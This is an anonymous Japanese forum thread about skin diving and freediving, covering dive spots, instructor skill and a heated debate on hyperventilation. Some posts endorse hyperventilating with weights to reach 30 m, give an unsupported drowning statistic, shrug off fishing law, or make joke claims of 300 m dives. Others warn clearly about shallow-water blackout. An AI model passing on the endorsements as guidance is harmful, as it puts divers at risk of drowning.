素潜りについて語るスレ

スキンダイビングやフリーダイビングやってる人って少ないよね。
スキューバより好きだって思うのは俺だけかなぁ。

いるところにはいるんだなぁ
この世界は狭いから

やっぱ、苦しい思いするの嫌な人が多いのでは。

苦しい、と感じるまで潜ってるのは自殺行為です。
余裕を持って浮上してると苦しくないよ。

どっかで素潜り、魚突きで検索してみな
けっこういるから
たぶんおれのＨＰもひっかかる

スキンダイビングだのフリーダイビングだのって、やり方よくわかんねぇし。
よくダイビングポイントでブリーフいっちょで潜ってるオヤジいるけど、
それのことか？

トレーニング兼おかず取りでたまにやるよ
続けないとダメね、たまにやると鼻から悪いエキス出ますよね？

＞鼻から悪いエキス

ななな何ですか？　それは！

あれ、俺だけ？　友達もそーだけどな･･･
濃縮鼻水ってトコかな連日潜ると出なくなるから
自分的には健康のバロメータと思ってる。

スキューバでも海から上がると、黄土色の濃縮鼻水でるよねえ。なんでなんだろう？

病気なんじゃ・・・・？（藁）

>>10
ふーん、ボンベ使ってもそーなんだ
喫煙者も非喫煙者も黄土色やカニの様にアブクだすよ
でも日をあけずに潜ると出ないぞ。

スキンダイビングができないヤツが多いだけじゃね〜か。
スキンダイブ教えるイントラが少なくなってるから、
知らないのもしかたがないか。
イントラでも出来ないヤツ多いぞ。

うーんたしかに鼻炎っぽいけど、病気ではないとおもうなー
もぐるとちょっとは海水のむじゃん、それとは関係ないのかな

最近素潜りの世界にも足をふみいれているところなのですが
素潜りがマイナーなのは
１・素潜りのための場所が整備されてない
２・タンク不要なので漁協やＤＳにメリットがない

あくまでスキューバのついでにやるしかないみたいなんだよね
漏れの知る限りでは・・・・
しっかし、この時期はもはや海で潜るには寒いよーーー
ちなみに漏れはイルカたんと泳ぎたいから始めました

重器材がいらないから、手軽なのもいいよね

素潜りポイント情報キボンヌ

関東近郊では、柴崎はスキンダイバー多かった。
伊豆半島のダイビングポイント（富戸とか）でも潜れたよ。
伊豆七島もいける。イルカたん目的なら御蔵島オススメ。
千葉はダメそう。漁師さんたち怖いし。

<14
沖縄

>14
漁協やＤＳにメリットがないってのは大きな要因かもな。

ところで素潜りのサイトって結構あるんだな。

>>5 のように検索するとたくさんhit。
やっぱり、素潜り＝魚突きor貝拾い、という人が多いみたい。

どこでもぐっていいかわからんくて、
こないだ横須賀の剣崎で勝手にもぐったのね。
そしたら、漁船のおっちゃんが「あっち逝け」みたいな手振りしてたｙＯ
はいはーい、って感じでこっちも合図していったん戻って
また潜ってたけど、やっぱり物取りに思われたんだろうなあ。
こっちは素潜り＝海水浴のつもりなんだけど。

もしくは溺れて氏なれたらやだよね、漁協のひとも。

底にはエイとかタコとかいて楽しかったｙＯ！

＞＞15　ところで柴崎ってどこ？？？？

黄土色の濃縮鼻水？
漏れもでます。
耳が圧力に耐え切れずに、血ではなく体液で均衡を取ろうとしてるのでは？

慢性内耳炎の可能性ありです。

確かに出ますよね(笑)
水面休息でスキンやって遊んでると鼻からだらだら出ますよね(笑)
妙齢の女性が出てると幻滅しますけど(爆)

浸透圧の関係で体内から移動する水分＋αじゃないかな？
鼻からなら体内器官からの排出もスムーズにできるから？

柴崎って、葉山御用邸近くの柴崎海岸です。
でも、海岸に降りる階段が台風で崩れてしまった、
と聞いたけど、今はどうなんでしょ？

わしは元来素潜りのみしかしてこなんだ。今では３００ｍ潜ることができるのじゃ。
誰かわしと勝負する奴はいるか？わしの大物記録はあんこうの１ｍ５０cmじゃ。道具は釣具屋に
売ってる青ヤスで突いたぞ。来たれ挑戦者！

青ヤスって、千円ぐらいのオモチャのこと？

俺も素潜りが好き
が、現在、15メートルくらいしか潜れない。
20まで潜りたい。

>>23
さすが達人ですね！
すごいなぁ〜。
あんこうは鍋にしたんですか？
他にも体験談教えて下さい。

>>23さん、３００ｍって...。
確か、世界記録は１５０ｍくらいだと思ったが...。
勝負できるのはマッコウクジラくらいですかね。負けるな達人！

>>23
逝ってよし

っと

アホはほっとこうよ。

>25
ふと気がついたけど円ぞ
ってエンゾ・マヨルカなのね
あと、思ったんですけど素潜り＆魚突きのスレ増えてきたからそろそろ
1個にまとめたらどうでしょう？

我は素潜りの達人。住まいは与那国の海底遺跡。あれは実はわしの家じゃ。
水深２２２ｍに玄関があるぞよ。勿論素潜りでしか入れん。勇士よ来たれ。
まず潜るコツを教えてやろう！毎日人乳を５L飲みなさい。そうすれば１ヶ月後に
エラ呼吸が出来るようになる。我は昨日大記録を成し遂げた。日本海溝の底の砂を
一握り掴んで上がってきたのだ。潜りたければいつでも弟子入りしてきなさい。

連休に、素潜り＆スキューバしに沖縄に行ってきた。
やっぱり海はきれいだねぇ。

>>30 さん、ここにまとめるってのは、ちょっと変でしょうか？

我輩20年ぐらい素潜りばかりやってたが、最近PADIをとった。
スクーバは長く潜ってられる点や水面移動がBCがあるから楽だという点で感心したよ。

でも、気軽にできないのがペケだと思う。
気軽にって、一人でできないってことや(バディいないとタンク貸さないってこと)、ガイドなしじゃタンク借さないってのがネックってことね。
仕方ないからイントラ目指すことにしたよ(今はレスキュ)。

素潜りやってる人だと海の怖さ分かってるから、スクーバはちょろいよね。
おいらは某島で潮流にさらわれて、水深10mぐらいのところに引き込まれて死にそうになったが、それがいい経験になっててスクーバで楽できてるよ。
あと、フィンワークがきちんとできてるから、他の人達よりも移動が早いしね。
どっちにも良さがあるが、手軽さでは素潜りが良いよ。

漏れスモグラーからNAUIになったぞ

ただ泳ぐのすぐ飽きるから手に糸もって釣り泳ぎしたい
ウニや貝を上から落とすと魚食いつくしね
なんか面白い遊びはないかな？

夜もぐってエビでもとろかな
手で捕まえれるかな？

不景気のご時世にぴったりのスポーツだな。

>>35
エビを素潜りで採るには相当経験いるよ。
まずは、エビのいるとこを調べておかないとね。
猟師に捕まっても、大して怒られないから大丈夫さ。
(それどころかスゴイといわれる)

エビは最低でも5m、平均すると10〜12mくらいの岩の穴に潜んでる。

魚取りたいなら、モリ持っていって、ガンガゼを分解して魚寄せてから突いてみ。
ただし、これはスクーバでないと無理だな。

伊豆で十分採れるよ。

エビは水深２〜３ｍでも見るよ、とくに夏場はね
でも素手で捕まえるのは難しいよ
ヒゲだけしか取れないこと何回も
傷つけるだけだから条件が良いタナに居る時以外は手を出しません。

やっぱり意外とすばやいのね
デモね，その浅いタイドプールみたいなとこでセミエビがいて手で簡単に捕まえたのよ
エビもいたけど小さかったね
じゃ，袋にエサ詰めてエビの前へ持ってってやると袋に引っかかって取れるというのはどう？

素潜りにマイボートは必須ですか？

わたしゃ、シュノーケルとメガネ、それに最近フィンを使いはじめた。
５ｍくらいしか潜れない気が。
はかったことないから知らんけど。
あー、早く夏にならんかねえ。泳ぎた。ダイビングプールでも行こうかな。

ウェイトつけなきゃ深いとこは無理です。

>>40さん、ほとんどの人がビーチからエントリーするようですよ。
マイボートがあった方が良いとは思うけど。

海でのんびりと水面に浮くのは好きだが、何となく周りの目が気になる。　難しい世の中だ。

ahe

ぐれいだけど、潜ってもいいんじゃないか？
ぐれいだけど、貝拾ってもいいんじゃにあか？
かみんぐあうと！って捕まるか。
機会あればみんな獲ってる気がするが。漁業法は
法律ってだけで、なんの公平性も感じられないが。
ま、いっしょんけいんめい育てた貝を半ば商売的に
盗られた日にゃかんべんってのもわかるけど、法律
はもめる縄張り争いの解決のためって気がするが。

漁師と友達になれ！

42> ウェイトつけなきゃ深いとこは無理です。

知らないが誤解しないように最小限の補足しておくと、
ウェットスーツ着て素潜りするならスーツの浮力を打ち消すウェイトが必要。
ウェットスーツ着てても水面に浮かんでいるだけならウェイトはないほうが安全。
水着だけでウェイトをつけるのは危険。

>>46
何言ってるんだかわかりません

>>48
禿道
水着だけで10ｍも潜ると、フィンキックしない限り浮かんでこれないよ

>>46さん、確かに何言ってるんだかわかりませんが、
獲らせろっていう意気込みだけは感じます。

>>42さん、もしかして、
それはノーリミッツのことを言っているんでしょうか？

http://uk.geocities.com/httpuk

オイラ沖縄に住んでます。スキューバは一人でさせてくれないので
嫌いです
真栄田岬なんかいかがでしょう？
車をとめて階段下りて10メートルも泳げば20〜30メートルありますよ
残念ながら15が精一杯。たばこやめたらもっといけるかな

>>52
「ベンチレーション」カマして、
ウエイトつけて、ガラで入れば３０はちょろい。
ちなみにオレは４５まで逝ったことあり。

>>53
素人は危険な発言控えてくだされ

>>54
歴２５年のウミンチュですがなにか？

ハイパーベンチレーションが危険なのは周知の事実。
25年潜っててそんなこと知らないの？って言われないようにね。
ベンチレーションかまして〜なんて自慢にもならないよ。

>>56
って言うか、素人がヤルと恐いのが周知の事実でしょ。
元来、海は危険なものだし。
自分のスキルと限界を冷静に把握できるレベルであれば
なんら問題なし。
キミだってそのくらいのレベルはあるんでしょ？

ちなみになんの自慢もしてないのに自慢にとられるとは
びっくりです。

素人玄人関係なくベンチレーションは危険だと思うけど？

＞４５まで逝ったことあり。
ってのが自慢に聞こえた。そんなつもりで書いたんじゃなければ
俺の勘違いだった。これについてはごめん。

だいばさん、４５は正直すごいと思います。
自慢していいと思うけどなぁ。

俺の場合、ロングフィンを使うとスピードが出るんだけど、
息が速くあがっちゃう。結果、普通のフィンの方が潜れてしまう...。

補足ね。
４５ｍについては素直にすごいって思うよ。ほんとに。
「ベンチレーションかまして」がなければ文句ないんだけど。

>>58
いろんな地方にはいろんなスタイルがある。
安全管理の面でも温度差がある。
漏れの周りの場合、
一番大切なのはいかに水中で力を抜けるか。
そして常に陸上同様の思考回路を保てるか。
これだけ。
ベンチ云々なんてどうでもいいこと。
ベンチでエビ捕ってる漁師に失礼な話だよ。
自分の世界だけで危険と言い切ってしまうのは、
どうかと思う。
ちなみにオレはまだまだヒヨッコ。

危険なものは危険です。
別に自分の世界だけで言ってるわけじゃない。
地方によるスタイルの差とか温度差とかの問題じゃなく、
一般的にベンチは危険とされてますよ？
エビ捕り漁師がやってるかどうかは関係ないし、危険な行為を危険と言って
何が失礼なのかわかりません。

>>62
ごめんね。
現時点のキミとは分かり合えそうにない。
漏れが「線」でほざいても
キミは「点」でしかツッコンでこないものね。
いかに水中で力を抜けるか。
そして常に陸上同様の思考回路を保てるか。
いつもその意識があれば、
なにやってもなかなか死ねるモンではないぞ。
そんな「過程」が一番大切。

＞いかに水中で力を抜けるか。
　そして常に陸上同様の思考回路を保てるか。

これらに関してはその通りだと思う。
でも危険な行為は危険だと認めなきゃダメなんじゃないの？
それがたとえ漁師がやっていても。
点でしかつっこんでこないって言ってるけど、その点だけ同意できないんですよ。
あなたは自分ではヒヨッコと言っていても、周りの人からみたら上級者に
入るでしょ？５３だけを読んで、ベンチしてみようって人が出てくることも有り得ますよね？
それを考えたらベンチ推奨にも受け取れる書き込みはするべきじゃないでしょう。

あのね、海（遊び）の世界は全て自己責任。
だからスキル的に上級者とか初心者とかはナンの関係も無い。
あるとすればいつも「海は恐いものだ」と思えるかどうか。
仮に53見て大胆に行動に移しちゃった初めての人が
事故ろうが自然をナメたヤツは逝って当然だと思う。

だいば君キミは頭悪そうだけど真性能書き君なのか？
クズならクズらしくモー板にでも行ってくれ。
お前のようなクズと対等に渡り合うだけ損だから俺は止める。

ヒゲ君キミは頭悪そうだけど真性マニュアル君なのか（藁
クズならクズらしくモー板にでも行ってくれ。
お前のような口先ばっかりで海にもいかないカスと対等に渡り合うだけ損だから俺は止める。

＞６６　６７　　　あーあ、とうとうおっ始めた．．．つまんねえ　せっかく面白い話だったのにさ　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　

あのー66はニセモノね。俺は64を書き込みしたあと寝たよ。
まぁ67もだいばさんのニセモノって可能性もあるけどね。

トリップつけたらどうすかね？

トリップって何？IDみたいなもん？

>>69
ごめん。67は俺です。
モロに2chぽいレスかまして申し訳ない。
今から海に行ってきます。
大潮だから楽しみ楽しみ。

>>65
同意見。

私の書き込みでおかしな事になってしまってすみません
一人で泳ぐのが好きなので危険はしょうがないと思ってます
台風の直後に潜ったり、５キロほど沖合いの島に渡ったり
してとんでもない目にあったことは結構有ります
でも、やめられない　誰もやらないときに一人で泳ぐのが楽
しいっていうか自己満足なんでしょうけど
明け方の、まだ真っ暗な海で素潜りしながら海の中が紫に変わ
っていくのを見るのは最高ですよ
ヒゲさんは人に教える立場の人なんだろうと思われますが
やっぱり結構好きでしょ　キツイの
下手の癖に生意気言ってすみません
どうぞ沖縄にきたときは真栄田岬に行ってみてください
朝早くか夕暮れ時が人も少なくていいですよ

いいなぁ、真栄田岬。イクイク、絶対行く。

どうも、ヒゲです。↑トリップつけてみました。70さんありがとう。

>>74
別におかしな事じゃないでしょう。
だいばさんと「熱く」議論をしてただけ！
キツイの好きかって言われるとやっぱ好きではない（笑）。
でもキツイことを経験しないとわからないこともある、と思います。

真栄田岬、今のとこ行く予定はないけどいつか行ってみたい。

昨日夜もぐった
海から出て寒かった。手始めにてトラもぐった
エビの小さいのが1匹いたが,寸前で逃げられた。
赤っぽくなく白っぽかった。非常に寂しさがこみ上げてきて15分であがった

ヒゲさん　気が弱いもんですから２ちゃんで議論となると
ケンカのように思ってしまうんです　申し訳ない
＞＞77すごく孤独感を感じますけど良いんじゃないでしょうか
まるで思春期に戻ったような　他人に優しくなれると思います
２００１年の終わりに逝ってしまうなんて
ジャック　マイヨールさんに合掌

本当に残念です...。もう一度彼の本を読んでみようと思います。
合掌。

三浦によく素潜りしに行くのですが穴場があったら教えてください。
そんなに荒らさないから、、、。
ちなみによく行くところは、三戸海岸、大浦海岸。
三戸海岸は、常にさざえがいる。「一潜一殺」が実行可能。
でも、去年から大浦は車で入れなくなっちまったけど、、、。
たまに、えびがいたいい場所だったのになぁー。

関係ないけど三戸海岸の米軍施設はまだありますか？

スモグラー　オオバカー

あの、ちょっと道に迷ったみたいなんですけど、ショノーケリングについてのスレッドってどっかにありませんか？
どなたか教えて下さい。
ここで良かったのかな？

ないみたいだから、ここでやれば？
でも、潜らないのがシュノーケリングなのかな・・・。

20年位前の話だけど、西表の民宿に泊まってると
鳩間島から西表まで泳いできた奴がいてたよ。

ごみ袋３重くらいにして、着替えその中に入れて
１泊してまた次の日泳いで帰っていった。

ネタみたいだけど、ほんとの話

>85
そりゃすごい。何キロあるんだろ？鳩間⇔西表

>84
僕の思うシュノーケリングはですね、多少はもぐるんですけど、水面からの海中観察っていうか散策かなぁ。
去年ちょっとだけシュノーケリング経験したんですけど、今年は何回もやりたくて研究中です。
お奨め機材と三浦＆伊豆のポイントに関して教えて頂ければ助かります。
宜しくお願いします。

前田岬いいよ-。　ダイバ−とシュノ−ケラ−とスキンダイバ-が、いい意味で混在してて。　スキンしてて、-20で、外人ダイバ−にオクトわたされた事あるけど(あぶね-な-)三浦、伊豆にそ-ゆ-とこないのかね-。

三浦なら、三戸、柴崎がそんな感じ。
海はマエダの方が段違いにいいが。

柴崎ってどこら辺なの・・・

葉山御用邸のそば。国立水産試験場のあるとこ。裕次郎灯台のあるとこ。
トンネルぬけてすぐ。防波堤ぞい。ネコザメとドチザメがいっぱいいるとこ。
タンクレンタル料が異常に高いとこ。常連客が全員、昔はきれいだったって
口を揃えて逝ってるとこ。一色海水浴場の隣。

話を戻して悪いのだけど、ハイパーベンチレーションって悪い事なの？
ブラックアウトの危険は理解できるんだけども。

慣れない人は必ず自分よりも潜水能力の高い人と潜るか、もしくはロー
プとブイを上手く利用して潜水するようにと親方から言われたけどな。

三重の海女さんは、水面で｢ﾋﾟｭ〜ｯﾋﾟｭ〜ｯ｣って磯笛鳴らすんだけど、
あれもハイパーベンチやってるんだよね。

ハイパーしなきゃ駄目でもなければ、ハイパーしちゃ駄目ってわけで
もない気がするが？

ちなみに私は、スクーバ潜水でも呼吸の乱れを整える目的と、上がった
心拍数を戻す為に軽いハイパーはする。
深呼吸と言ってもよいかもしれない。

苦しさを感じるシステムは、ある一定の量の炭酸ガスが体内に蓄積される
と脳が発令して吐き出したいという体の動きに繋がるのだけど、心拍数も
これと平行して上がるから、使い方によっては色々便利でもある。
体内の酸素が足らなくなる事で、苦しさを感じるのではないところがミソ
ですよね。（誰でも知ってるか・・・）

ハイパーベンチによって炭酸ガスを強制排出し、体内炭酸ガス濃度を低い
状態で潜水をするから、苦しさを感じる量の炭酸ガスが蓄積されるまでの
時間が普段より長い。イコール潜水時間も長くなる。けれど苦しさを感じ
るまでの時間は長くなっても、酸素は確実に減っているわけで、これがブ
ラックアウトにつながる。
（知っている方は、くどい説明で申し訳ない。補足もよろしく。）

ハイパーベンチは体内の炭酸ガスを強制排出して、体内の二酸化炭素
濃度を低くするのが目的だから、吸う事を意識して深呼吸しても意味
無いけど、スクーバ初心者に有りがちな潜水後の頭痛なんかは、この
排出を意識した深呼吸？を繰り返すとけっこー緩和する。
（これは経験からなので、医学的根拠は考えた事が無いです。）

ハイパーベンチ使わなくても、水深25mくらいは、水中での思考や動き
をうまく制御できればいけるけどなー。
個人的な経験からすると、足ヒレの使い方よりも、頭の中でよけいな事
を考えず、心拍数を上げないような意識を掴む事のほうがより滞在時間
を伸ばせるような気がする。
僕は素潜りする時は、なるったけ寝起きの時のように　ボ〜ッとした感覚
？体のちからが程よく抜けて、リラックスした状態を保つように心がけて
る。あとは、いかに調子よく潜水できていても、十二分に休憩を入れる。

ダイバーやスキンダイバー、海女さん、漁師さんは、
一つの方法論的意味合いで「ハイパーベンチレーション」
と言う言葉を使用してるけど、実際は「ハイパーベンチレーション」
に近い状態の事を言ってるんだよね。
医学世界で「ハイパーベンチレーション」って言ったら、
「過換気症候群」（過呼吸の酷い版）のことだよね。
体内の「酸素の血中濃度」を極端に上げ、炭酸ガス濃度を下げる。
日常の生活などでは、極度に緊張する「面接会場」なんかで
突発的に起こり、救急車出動回数の上位にランクされてるほど
一般的な症状だよ。ダイバーさん達はこの原理と同じ原理を
長時間潜水に利用してるんだよね。　でも、近い状態じゃなく、
ほんとに「ハイパーベンチレーション」になっちゃったら大変だ。
呼吸困難。全身痙攣。末梢神経の感覚麻痺。水中で起こったら
間違いなく死ぬ。（冗談抜きで）
実際、伊豆や沖縄などではダイバーの溺死原因の３０％と言われてる。
近い状態は「便利な理論」ですむんだけど、近すぎると非常に危険な
理論だって知っといた方がいいよ。
目安は、�@頭のクラクラ感。�A指先のシビレ。�B唇のシビレ。
これ全部起こっちゃったら、２〜３分後には「ハイパーベンチレーション」
で救急車だよ。１個〜２個で、もうやばいって思ってね。次からは。

もうちょい補足。
浮上時の水圧の変化がブラックアウトの危険性をUPさせます。
これは、水圧に比例して体内酸素濃度も変化するからです。

浮上時に、体内での酸素消費に加えてこの水圧変化による効果が合わさり、
急激に体内酸素濃度の低下が起こります。
この時の低下があまりにも急激なため、本人は苦しさを感じることなくブラックアウトに至ります。
体験者によると、「気持ち良かった」んだそうだ・・・。

地上でブラックアウトするまで息こらえをすることは、非常に苦しい思いをするのに対して、
水中では比較的簡単にブラックアウトしてしまうのはこのせいです。

Ｂ.０わこわいよ。海でこれんなったら死ぬＹ０

以前読んだ本で、立花隆と医学博士の対談集だったかな。
そこで書かれていた話。
陸上で深く速い呼吸を繰り返す実験をして、>>94氏が上記してくださ
ったように、手足の痺れやめまいがくるわけですが、その後の意識の
失い方、または意識を失った後の記憶？といったらいいのか、トンネ
ル効果？だったか、幽体離脱に近い現象が起こると書いてあったなー。
産道を通った時の記憶だとか、三途の川の話に似ているとか、いわゆる
臨死体験というもの。
もう昔の話なのですが、今このへんの最新情報はあったりしますかね。
おもいきりスレ違いで申し訳ないのだが・・。
どなたか御存知でしたら、教えてください。

>体験者によると、「気持ち良かった」んだそうだ・・・。

私も体験者なのですが、やはりその時も水面ぎりぎりで起こった。
さいわい浮上の勢いで水面まで出られた事と、一緒に潜ってた奴が
いたから大丈夫だったが、後でよく考えたらぞっとしたね。
視界が狭くなるってのは本当だったな・・・。
サイドから正面に向かって視界が浮上に合わせて狭くなった。狭くなって
視界が閉じた時が意識を失うって事でしょう。
ちょうどハイパーベンチを覚え出した頃の話でした。
まースピアー愛好家は別として、ただたんに素潜りを楽しむならば、無理してハイ
パーやる必要もないかな。
やるやらないは自由だと思うけど。やるぶんには相当覚悟してやったほうが
確かによい。

前田岬って沖縄ですよね、行きたいけど遠いです来年の計画にします。
三浦だったら三戸、柴崎ですか・・・柴崎良さそうですね。
宮川湾はどうですか？
それと西・南伊豆だったらどこがお奨めですか？
浮島と黄金崎（アラリ？）と千貫門狙ってるんですが。
だれか行ったことありますか。

>>94
頭でっかちもほどほどに。
ダイビングで呼んでるベンチと過換気症候群とわざわざ
繋げてどうすんねん。

そんな文章書いても、ベンチかますの当然じゃんか！
素潜りの数回ぐらいのベンチでどうやって過換気症候群が
でてくるんじゃい

100get

浮島行きました。
湾内の右側しか行ったことないけど、地形が楽しい。
半水中の洞窟があって、ちょっとした探検気分が楽しめます。
素潜りにはあまり適してないと思う。

＞海神
いや〜、結局どこでも君と討論になるねぇ。
知識のある人間との論議は面白いから大いに論争しよう。
ちなみに「９４」＝俺はJCIAのCDだ。
医学的症例と過換気症候群の説明をしたのは、
PADIでも、CMASでも、ダイビングのテクニックとしての
「ハイパーベンチレーション」を教材などで説明しているが、
同時にレスキューやMFAで過換気症候群の理論を説明し、ダイバー
の患者数が比較的多い実態を報告する形をとって、警告しているので、
当然、「ハイパーベンチ」について語るなら、知識的バックボーン
として過換気症候群について知るのが望ましいと考えたのだ。
実際に、同症例の海での死者もでているしな。
危険なテクニックの使用は、本人が納得し、最悪の場合どうなるかも知った
上で、本人の意思の元に、自己責任において使用されるべきではないか？

＞スタッツィー
「海神氏」相手に論拠は書いたが、「ハイパーベンチ」の使用について、
付け加えるならば、使用者にとって「安全のボーダーライン」を知るのは
無駄なことではないと思うよ。ダイビングの世界で「ハイパーベンチ」の
使用は「海神氏」の言うとおり、日常的におこなわれている。
当然、私も講習にしろ遊びにしろ、スキンをやるときには「ハイパーベンチ」
をテクニックとして使用する。しかし、以前、沖縄県の砂辺で「ハイパーベンチ」
による「過換気症候群９０％の成りかけ君」を救助させられたことがある。
成ったことがあるなら分かると思うが、臨死体験や、生命的恐怖感を患者が
感じる、非常に危険な症状だ。

漁師、海女は仕事だが、ダイビングは遊びだ。遊びで怪我したり死んだりして
どーする？楽しく遊ぶためには正しい知識を知るのも大切なことだと俺は思う。

>>103
同感。
やっぱ、限界がよくわからないので、普通は「ハイパーベンチ」を使わない方がよさそう。
誰か助けがいたりしてサポートが万全なら、やってみて限界を知ると良いかも。

>>104
ＣＤさんは、使うなとは一言も書いてない。
使用には注意が必要と言ってるだけ。
ついでに限界の目安ならＣＤさんが>>94で語ってるじゃん。

三浦なら馬の背あたり、西伊豆ならびのつく岬がいいよ。
荒れるのいやだから、これしかおしえないＹ０

えーと、浮島は素潜りにはちょっとですか。
あのう、三浦の馬の背って葉山町の長者ヶ崎のことですか、それとも城ヶ島の馬の背洞門のこと？
あとあのう、西伊豆の「び」の付く岬って「〇〇び〇岬」ですよねえ、
どこら辺からエントリーするんですか？

>>103
>「安全のボーダーライン」を知るのは無駄なことではないと思うよ。

そりゃ、その通り。

>漁師、海女は仕事だが、ダイビングは遊びだ。遊びで怪我したり死んだりして
どーする？

まー仕事でも遊びでも、死んだらいかん。

>楽しく遊ぶためには正しい知識を知るのも大切なことだと俺は思う。

それもその通り。

？？私の書き方がまずかったかな？？
CDさんの意見に反論したつもりは無いのだが・・・。

>>105
ごめん、「俺は一人の時は使わん」ということです。
みんな、死ぬなよ。

反論されたつもりもないのですが．．．
俺の昼飯（ピザ）早く来ないかな〜。

なんでダイバーどもは、シュノーケラーを蔑んで見るんだ？
こないだとあるダイビングショップにフィンを買いに行って店員に話しかけられ
ダイビングの話になった・・・
「いや、僕はシュノーケリングだけなんですよ。」
そうすると店員はシュノーケリングなんてダイビングを始める前の通り道だ、みたいなこといいだして、
別に怖くはないのに　怖くないですよ？それはそれはダイビングは素晴らしい、あなたも始めなさい、　
だの、　　　うっとうしいんじゃぁあ！ぼけぇぇ！！っと言いたくなった。
僕は、シュノーケリングの気軽さが大好きなんであって、べつにダイバーを否定するつもりはなかったが
あんなの見るとダイバー最低！とかｵﾓﾀﾖｰ

>>111
シュノーケリングの気軽さが大好き
に同感。
スクーバは制約が多すぎるよ。

いやいや、勿論そんな馬鹿ばっかりじゃないですって。
そんな風にお客サンのニーズを無視して妥当性の無い過剰なうっざいセールス
トークするだけのパターンしか持ってない店の店員ですから、どうぞ見下げて
やって下さい。

>>113は>>111へのﾚｽね

>>111
禿同。
でも、ショップの気持ちもわからんでもない。
シュノーケラー＆スキンダイバーは金にならんもんな。３点セットなんて安いし。

例外もあるけど、たいていのショップはスキンダイバーに機材のレンタルはさせない。
理由は「死亡率が高いから」だとさ。
そりゃ、無茶をすれば、スノーケリングだろうとスキンだろうとスクーバだろうと死ぬと思うがな。

昨日のNHKの番組見た
素潜りで150mでやんの
とても同じ人間とは思えん・・・

＞１１１
そんな「クソッタレ」相手にしなくていいよ。
そいつらは店に来る「スキューバダイバー以外の客」は全員「鴨」だと思ってる
馬鹿か、新米のヘタレ、のどっちかだ。「俺はおめ〜らの鴨じゃね〜んだよ！」
くらいのこと言ってやってくれ。業界の恥だ。

>ＪＣＩＡのＣＤ
業界の恥だ。お前も、、
文句ばかりたれて行動を起こさないお前のようなやつが
ダイビング業界をだめにしてるんだよ
自分でも認めてるくせにまだ形だけ良い事言ってるのか、、
子供と同じだね

>118
行動を起こしてないなどといったい誰が言った？
業界を変えるには意見を言える立場にいなければならないんだよ。
現行の上層部の批判をする人間を出世させる上司がどこの業界にいる？
自分のやりたい事を実行に移せる人間は、実行できると確信できる直前まで
仮面をかぶってるもんだ。君はそんな事もわからんのか？
多分、若い奴だと思うが、おまえにとやかく言われる筋合いではない。
もうちょっと身の程を知ったらどうかね。坊や。

>>119
それで、いつ実行に移していただけるんでしょうか？

92 ：ＪＣＩＡのＣＤ ◆cz2IT0Gk ：02/04/12 16:59
あはははは。まー、何処の業界でも中間管理職の権限なんてそんなもんさ。
でもまあ、勝ち犬ではないが、やまの頂上にいるだけ君たちよりはましさ。
どんなに格好良く吠えようが山の上にいる指導団体の経営者どもには聞こえもしない
からな〜。ところで、君たちの「恩」を着てくれる相手はいるのかな？
もう一度、無能な負け犬はどっちか考えてごらん。坊や。

負けてるよお前、、
この問題でおまえより若いかどうかを問題にすること自体意味が無いぜ、、

>>自分のやりたい事を実行に移せる人間は、実行できると確信できる直前まで
仮面をかぶってるもんだ

なに言ってんだろね
自分で矛盾があることに気が付いてるくせに
あえて公衆の前で負けを認めようとしていないだけだろ
みんなはもうわかってるぜ、、（藁

>>121
あらま、ＪＣＩＡのＣＤさんの本音だね
知らなかった

>>122
おまえが一番分かってなさそう。寒い。
釣られて楽しいか？

さあみんな！このスレのテーマは何かなぁ？
JCIA…は〜良い事かいてるからまぁいいや。
その他の奴らは出てけ！！！！！！！！！！！！！

数年前に真栄田で潜ってたとき「こんな事も出来ねーの　馬鹿じゃねーの」
などと言ってるインストがいた。３人で来ていて一人はキレイなオネーチ
ャン、もう一人は．．．お金貰っといてそりゃ無いだろと思ったがまあ関係
ない話だから通り過ぎた。次会った時は肥満気味のおにーちゃん連れてたが
潜ってしばらくしてチアノーゼ起こして上がってきた（意識なし）インスト
は「救急呼びましょうか」と言った俺を無視、息を吹き返したからいいけど
そのまんま逝っちゃったらどうすんだよ。みなさんもインストは人間性見て
から頼みましょう。とんでもないのがいます

だいたいイントラでまともにスキンダイビングできる奴は何人いるんだ。
自分ができないことを人に教えられないわな。
10ｍも潜れないのとちゃう？
ヘッドファーストが下手くそなイントラも多いし。

スクーバの講習受けた時にスキン講習もしたけど、潜ることなんかやんなかったYO!
何度か、船の周りをぐるぐる回ってそれで終わり。あれじゃ、スノーケリングだ。

俺はスキンで20m潜れるけど、その時のイントラはスキンで5mくらいしか潜れてなかった。
おまけにヘッドファーストじゃなかったし。
出来ないのかどうかは不明だけど、潜るフォームだけ見てると、10mにも行けそうになかったな。

まあ、スキンとスクーバは違うんだ、と自分で納得したけど。

>>128
できね〜奴は何人か知ってるよ。俺が離島でガイドしてた頃も
船から客がメッシュ（ウェイト入り）海に落としちまった某東京のダイビングショップの
ブルー○○の今もいるイントラのおっさん。当時俺は船の操縦してて、
「いいっすよ、待ってますから取って来て。」って言ったら、
器材背負いだして、「ちょっとちょっと、ここ水深８ｍくらいっすよ。」
と言ったら、「俺、素潜り苦手で．．．」と言ってた。
８ｍだぞ８ｍ！信じられん。どーやったらそんなんでイントラになれるのだ？
だれか”納得のいく説明”してくれ。

イントラになるのに、スキンのスキルって必要なの？

＞128　スキンでヘッドファーストじゃなかった

？？？

>>131
「ジャックナイフじゃなかったし」
に訂正。ごめん。

>>130
必要だと思うよ。
スキンダイブは基本だもん。

>>129
ワッハハお客さんの前で大恥だね。
”納得のいく説明”はできないけど、そのおっさんも>>128のお客さんだったんだろ？
だったら黙っててやるぐらいの気配りしてやればいいのに・・・

ごめん>>129のﾏﾁｶﾞｲ

印トラで１０mもスモグレンならお客にバカにされるよ。
例えば、水深６〜７mで機材を全てはずして、緊急スイミングアセントで
水面に浮上。
そしてそのまま素潜りで海底に行き脱いだ機材を全て装着。
これを教えられるのか？
こんなことくらい出来ない様じゃ、恐いねぇ。

んなのイントラなら誰でもできるじゃん。今さら何言ってんの？
自分はできるぞって暗に言いたいようだけど誰でもできること言ったって恥ずかしいだけ。

>>137
それがね〜、できないヤツも実際にいるのよ。
昔は、イントラじゃなくても、>136みたいなことはやる、って聞いたけど本当にそうだったの？

教えてあげない♪

潜水士の資格試験はもっと過酷らしい
上のような奴が受けたら死ぬんじゃないか？

>>101
浮島の洞窟の奥に泡盛の樽を隠しておいて10年後に飲みに行く計画を
していたことがあったが・・・計画倒れになった
あの時に泡盛を隠していたら、今頃は誰かに飲まれてなかっただろうなー
あそこの洞窟で隠す場所けっこう考えたんだけどなーー

